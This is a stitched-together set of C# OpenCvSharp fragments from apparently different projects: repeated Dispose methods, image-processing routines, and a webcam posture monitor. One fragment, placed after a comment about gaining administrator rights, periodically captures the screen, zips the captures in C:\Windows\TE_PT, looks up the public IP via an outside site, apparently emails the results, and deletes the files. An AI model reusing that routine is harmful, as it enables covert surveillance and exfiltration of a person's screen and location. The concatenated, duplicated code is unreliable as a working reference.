/// <summary>
/// used to dispose any object created from this class
/// </summary>
public void Dispose()
{
if (timerInProgress)
{
mainTimer.Stop();
}
if (mainTimer != null)
{
mainTimer.Dispose();
}
if (window != null)
{
window.Close();
window.Dispose();
}
//if (capture_ != null)
// capture_.Dispose();
if (videoInput != null)
{
videoInput.StopDevice(deviceID);
videoInput.Dispose();
}
}
/// <summary>
/// used to dispose any object created from this class
/// </summary>
public void Dispose()
{
if (workingThread.IsAlive)
{
workingThread.Abort();
}
if (workingThread != null)
{
workingThread = null;
}
if (window1 != null)
{
window1.Close();
window1.Dispose();
window1 = null;
}
if (window2 != null)
{
window2.Close();
window2.Dispose();
window2 = null;
}
}
/// <summary>
/// used to dispose any object created from this class
/// </summary>
public void Dispose()
{
if (timerInProgress)
{
mainTimer.Stop();
fpsTimer.Stop();
}
if (mainTimer != null)
{
mainTimer.Dispose();
mainTimer = null;
}
if (fpsTimer != null)
{
fpsTimer.Dispose();
fpsTimer = null;
}
if (window1 != null)
{
window1.Close();
window1.Dispose();
window1 = null;
}
if (window2 != null)
{
window2.Close();
window2.Dispose();
window2 = null;
}
if (window3 != null)
{
window3.Close();
window3.Dispose();
window3 = null;
}
if (capture != null)
{
capture.Dispose();
capture = null;
}
}
public IplImage SnakeImage(IplImage src)
{
snake = new IplImage(src.Size, BitDepth.U8, 3);
IplImage calc = new IplImage(src.Size, BitDepth.U8, 1);
calc = this.Binary(src, 150);
calc = this.BlurImage(calc);
int n = 2000;
CvPoint[] contour = new CvPoint[n];
CvPoint center = new CvPoint(src.Width / 2, src.Height / 2);
for (int i = 0; i < n; i++)
{
contour[i].X = (int)(center.X + (center.X * Math.Cos(2 * Math.PI * i / n)));
contour[i].Y = (int)(center.Y + (center.Y * Math.Sin(2 * Math.PI * i / n)));
}
CvWindow window = null;
for (int j = 0; j < 100; j++)
{
window = new CvWindow("SnakeImage", WindowMode.StretchImage);
window.Resize(640, 480);
Cv.SnakeImage(calc, contour, 1f, 1f, 1f, new CvSize(15, 15), new CvTermCriteria(10), true);
Cv.Copy(src, snake);
for (int k = 0; k < n - 1; k++)
{
Cv.DrawLine(snake, contour[k], contour[k + 1], CvColor.Red, 2);
}
Cv.DrawLine(snake, contour[n - 1], contour[0], CvColor.Red, 2);
window.Image = snake;
Application.DoEvents();
}
window.Close();
return(snake);
}
/* 실행 시 관리자 권한 상승을 위한 함수 끝 */
private void timer1_Tick(object sender, EventArgs e)
{
sec--;
int Delkey = Convert.ToInt32(ownerkey);
if (Delkey == 1)
{
label1.Show();
EX.Show();
}
else
{
label1.Hide();
EX.Hide();
}
timer.Text = sec + "초 후 종료됩니다.".ToString();
if (NetworkInterface.GetIsNetworkAvailable())
{
Net = 0;
}
else
{
Net = 1;
}
if (sec == 0)
{
try
{
if (Net == 1)
{
MessageBox.Show("인터넷에 연결되어있지않습니다.");
return;
}
CAP();
window.Close();
CAPTURE = Path.Combine("C:\\Windows\\캡쳐.zip");
ZipFile.CreateFromDirectory("C:\\Windows\\TE_PT", CAPTURE);
String WanIP = new WebClient().DownloadString("http://ip.mc-blacklist.kr/");
GPS = "http://whatismyipaddress.com/ip/" + WanIP;
MailWAR();
Del("C:\\Windows\\TE_PT");
Directory.Delete("C:\\Windows\\TE_PT");
File.Delete(CAPTURE);
sec = 1800;
}
catch
{
Del("C:\\Windows\\TE_PT");
Directory.Delete("C:\\Windows\\TE_PT");
File.Delete(CAPTURE);
MessageBox.Show("계정등록이 되지 않았습니다.");
Exit();
}
//Count = 1;
//CapCount = 1;
//Application.ExitThread();
//Process.Start("shutdown.exe", "-s -t 1");
//Application.Exit();
}
}
public IplImage BinarizerMethod_Hist(IplImage src)
{
bina = new IplImage(src.Size, BitDepth.U8, 1);
gray = this.GrayScale(src);
int area = 200;
int num = 0;
int row = (src.Width % area == 0) ? (int)(src.Width / area) : (int)(src.Width / area + 1);
int col = (src.Height % area == 0) ? (int)(src.Height / area) : (int)(src.Height / area + 1);
int count = row * col;
float[] data = new float[count];
IplImage[] piece = new IplImage[count];
CvRect[] piece_roi = new CvRect[count];
for (int x = 0; x < src.Width; x = x + area)
{
for (int y = 0; y < src.Height; y = y + area)
{
CvRect roi = new CvRect
{
X = x,
Y = y,
Width = area,
Height = area
};
if (roi.X + roi.Width > src.Width)
{
roi.Width = area - ((roi.X + roi.Width) - src.Width);
}
if (roi.Y + roi.Height > src.Height)
{
roi.Height = area - ((roi.Y + roi.Height) - src.Height);
}
gray.SetROI(roi);
piece[num] = new IplImage(gray.ROI.Size, BitDepth.U8, 1);
Cv.Copy(gray, piece[num]);
gray.ResetROI();
//히스토그램 계산//
int[] size = { area };
CvHistogram hist = new CvHistogram(size, HistogramFormat.Array);
Cv.CalcHist(piece[num], hist);
float minValue, maxValue;
hist.GetMinMaxValue(out minValue, out maxValue);
int highlevel = 0;
for (int i = 0; i < area; i++)
{
if (maxValue == hist.Bins[i].Val0)
{
highlevel = i;
}
}
piece_roi[num] = roi;
data[num] = highlevel;
num++;
}
}
CvMat kernel = new CvMat(row, col, MatrixType.F32C1, data);
Cv.Normalize(kernel, kernel, 255, 0, NormType.C);
for (int r = 0; r < count; r++)
{
Cv.Threshold(piece[r], piece[r], kernel[r], 255, ThresholdType.Otsu);
Cv.SetImageROI(bina, piece_roi[r]);
Cv.Copy(piece[r], bina);
bina.ResetROI();
}
//37강 - 윈도우 창//
CvWindow win = new CvWindow("window", WindowMode.StretchImage, src);
win.Resize(640, 480);
win.Move(100, 0);
win.ShowImage(piece[0]);
win.Close();
new CvWindow(piece[0]).Move(0, 0);
new CvWindow(piece[1]).Move(0, 200);
new CvWindow(piece[2]).Move(0, 400);
//37강 - 윈도우 창//
return(bina);
}
// 타이머 함수
private void timer1_Tick(object sender, EventArgs e)
{
if (info.cnt >= 0) // 2번째부터는 카메라 5초 뒤 실행
{
timer1.Interval = 5000;
}
CvCapture camera = new CvCapture(0); // 카메라 생성
CvWindow win = new CvWindow(); // 윈도우창 생성
//CvHaarClassifierCascade face_classifier =
// CvHaarClassifierCascade.FromFile("C:\\김유민\\Visual Studio 2017\\haarcascade_frontalface_alt.xml"); // 얼굴 인식 Haar 알고리즘 불러오기
//CvHaarClassifierCascade eye_classifier =
// CvHaarClassifierCascade.FromFile("C:\\김유민\\Visual Studio 2017\\haarcascade_eye.xml"); // 눈 인식 Haar 알고리즘 불러오기
CvHaarClassifierCascade face_classifier =
CvHaarClassifierCascade.FromFile("./haarcascade_frontalface_alt.xml"); // 얼굴 인식 Haar 알고리즘 불러오기
CvHaarClassifierCascade eye_classifier =
CvHaarClassifierCascade.FromFile("./haarcascade_eye.xml"); // 눈 인식 Haar 알고리즘 불러오기
CvMemStorage storage_face = new CvMemStorage(); // 얼굴 저장 메모리
CvMemStorage storage_eye = new CvMemStorage(); // 눈 저장 메모리
bool check = true;
info.time = DateTime.Now;
TimeSpan timecal = DateTime.Now - info.time;
while (CvWindow.WaitKey(10) != 27 && check) // <0 : 아무키나 누르면 종료, !=27 esc 누르면 종료
{
using (IplImage camera_img = camera.QueryFrame())
{
storage_face.Clear();
storage_eye.Clear();
Cv.Flip(camera_img, camera_img, FlipMode.Y); // 좌우반전
CvSeq <CvAvgComp> faces = Cv.HaarDetectObjects(camera_img, face_classifier, storage_face, 1.5, 1,
HaarDetectionType.ScaleImage, new CvSize(0, 0), new CvSize(200, 200)); // 얼굴 인식 동작
for (int i = 0; i < faces.Total; i++)
{
camera_img.Rectangle(faces[i].Value.Rect, CvColor.Red); // 인식 된 얼굴에 빨간 사각형 그리기
CvSeq <CvAvgComp> eyes = Cv.HaarDetectObjects(camera_img, eye_classifier, storage_eye, 1.5, 1,
HaarDetectionType.ScaleImage, new CvSize(35, 35), new CvSize(50, 50)); // 눈 인식 동작
for (int j = 0; j < eyes.Total; j++) // eyes.Total is changing continuously
{
if (eyes[j].Value.Rect.X > faces[i].Value.Rect.X && eyes[j].Value.Rect.Y > faces[i].Value.Rect.Y &&
eyes[j].Value.Rect.X + eyes[j].Value.Rect.Width < faces[i].Value.Rect.X + faces[i].Value.Rect.Width &&
eyes[j].Value.Rect.Y + eyes[j].Value.Rect.Height < (faces[i].Value.Rect.Y + faces[i].Value.Rect.Height) - 60)
{
camera_img.Rectangle(eyes[j].Value.Rect, CvColor.Yellow); // 인식 된 눈에 노란 사각형 그리기
//Console.WriteLine("eyes : {0}", eyes[j]);
Console.WriteLine("Comparing X, Y with Recognition X, Y");
Console.WriteLine(">> eye X : {0}, eye Y : {1}", eyes[j].Value.Rect.X, eyes[j].Value.Rect.Y);
// 좌표 저장 (왼눈, 오른눈 랜덤으로 됨..)
//info.eye_X = eyes[j].Value.Rect.X;
//info.eye_Y = eyes[j].Value.Rect.Y;
info.eye_X = faces[i].Value.Rect.X;
info.eye_Y = faces[i].Value.Rect.Y;
Console.WriteLine(">> face X : {0}, face Y : {1}", faces[i].Value.Rect.X, faces[i].Value.Rect.Y);
Cv.DrawRect(camera_img, info.area_X, info.area_Y, info.area_X + rect_Width, info.area_Y + rect_Height, CvColor.Green);
}
}
}
win.Image = camera_img;
// 영상 동작 시간
timecal = DateTime.Now - info.time;
//if (timecal.Minutes == info.minutes) // info.minutes(설정한 분) 뒤에 check가 false로 변하면서 카메라 자동 꺼짐
if (timecal.Seconds == 3)
{
check = false;
}
}
timer1.Stop();
}
// 눈 범위 설정 -> 벗어나면 label 보이기, 숨기기
if (info.eye_X < info.area_X - 15 || info.eye_X > info.area_X + 15 || info.eye_Y < info.area_Y - 15 || info.eye_Y > info.area_Y + 15)
{
info.wrongCount++;
if (info.wrongCount == 2)
{
Console.Beep(512, 300);
Console.Beep(650, 300);
Console.Beep(768, 300);
System.Windows.Forms.MessageBox.Show("자세를 바르게 하세요");
timer1.Stop();
info.wrongCount = 0;
}
//else
//{
// timer1.Start();
//}
}
info.cnt++;
win.Close();
Cv.ReleaseCapture(camera); // 메모리 해제
//camera.Dispose(); // 메모리 해제
Console.WriteLine("메모리 해제");
Console.WriteLine("저장된 좌표 X : {0}, Y : {1}", info.eye_X, info.eye_Y);
Console.WriteLine("");
timer1.Start();
if (flag == 1)
{
timer1.Stop();
}
}
//선택창 확인버튼 누르면 -> 영상인식 넘어가야함
private void Confirm_Click(object sender, EventArgs e)
{
pictureBox1.Hide();
pictureBox2.Hide();
pictureBox4.Hide();
M_Box.Hide();
Confirm.Hide();
Select_Beginner.Hide();
Select_Master.Hide();
pictureBox3.Show();
MessageBox.Show("눈이 제대로 인식되었다면 ESC버튼을 눌러주세요");
CvCapture camera = new CvCapture(0); // 카메라 생성
CvWindow win = new CvWindow(); // 윈도우창 생성
CvHaarClassifierCascade face_classifier =
CvHaarClassifierCascade.FromFile("./haarcascade_frontalface_alt.xml"); // 얼굴 인식 Haar 알고리즘 불러오기
CvHaarClassifierCascade eye_classifier =
CvHaarClassifierCascade.FromFile("./haarcascade_eye.xml"); // 눈 인식 Haar 알고리즘 불러오기
CvMemStorage storage_face = new CvMemStorage(); // 얼굴 저장 메모리
CvMemStorage storage_eye = new CvMemStorage(); // 눈 저장 메모리
while (CvWindow.WaitKey(10) != 27) // <0 : 아무키나 누르면 종료, !=27 esc 누르면 종료
{
using (IplImage camera_img = camera.QueryFrame())
{
storage_face.Clear();
storage_eye.Clear();
Cv.Flip(camera_img, camera_img, FlipMode.Y); // 좌우반전
CvSeq <CvAvgComp> faces = Cv.HaarDetectObjects(camera_img, face_classifier, storage_face, 1.5, 1,
HaarDetectionType.ScaleImage, new CvSize(0, 0), new CvSize(200, 200)); // 얼굴 인식 동작
for (int i = 0; i < faces.Total; i++)
{
camera_img.Rectangle(faces[i].Value.Rect, CvColor.Red); // 인식 된 얼굴에 빨간 사각형 그리기
CvSeq <CvAvgComp> eyes = Cv.HaarDetectObjects(camera_img, eye_classifier, storage_eye, 1.5, 1,
HaarDetectionType.ScaleImage, new CvSize(35, 35), new CvSize(50, 50)); // 눈 인식 동작
for (int j = 0; j < eyes.Total; j++) // eyes.Total is changing continuously
{
if (eyes[j].Value.Rect.X > faces[i].Value.Rect.X && eyes[j].Value.Rect.Y > faces[i].Value.Rect.Y &&
eyes[j].Value.Rect.X + eyes[j].Value.Rect.Width < faces[i].Value.Rect.X + faces[i].Value.Rect.Width &&
eyes[j].Value.Rect.Y + eyes[j].Value.Rect.Height < (faces[i].Value.Rect.Y + faces[i].Value.Rect.Height) - 60)
{
camera_img.Rectangle(eyes[j].Value.Rect, CvColor.Yellow); // 인식 된 눈에 노란 사각형 그리기
Console.WriteLine("Recognition X, Y");
Console.WriteLine(">> eye X : {0}, eye Y : {1}", eyes[j].Value.Rect.X, eyes[j].Value.Rect.Y);
// 좌표 저장 (왼눈, 오른눈 랜덤으로 됨..) -> recognition 버튼에서 처음에 눈 좌표 저장, 이를 토대로 범위 벗어났는지 아닌지 판별
//info.area_X = eyes[j].Value.Rect.X;
//info.area_Y = eyes[j].Value.Rect.Y;
info.area_X = faces[i].Value.Rect.X;
info.area_Y = faces[i].Value.Rect.Y;
rect_Width = faces[i].Value.Rect.Width;
rect_Height = faces[i].Value.Rect.Height;
Console.WriteLine(">> face X : {0}, face Y : {1}", faces[i].Value.Rect.X, faces[i].Value.Rect.Y);
}
}
}
win.Image = camera_img;
}
}
win.Close();
Cv.ReleaseCapture(camera);
Console.WriteLine("메모리 해제");
info.total_time = DateTime.Now; // 스타트 누를 때부터 초세기 (전체시간)
timer1.Enabled = true; // 타이머 동작
timer2.Enabled = true;
timer2.Tick += new EventHandler(timer2_Tick);
timer2.Start();
if (info.cnt == 0) // 처음 start 버튼 누를 때 0.5초 뒤 바로 카메라 동작
{
timer1.Interval = 500;
}
timer1.Tick += new EventHandler(timer1_Tick);
timer1.Start();
}
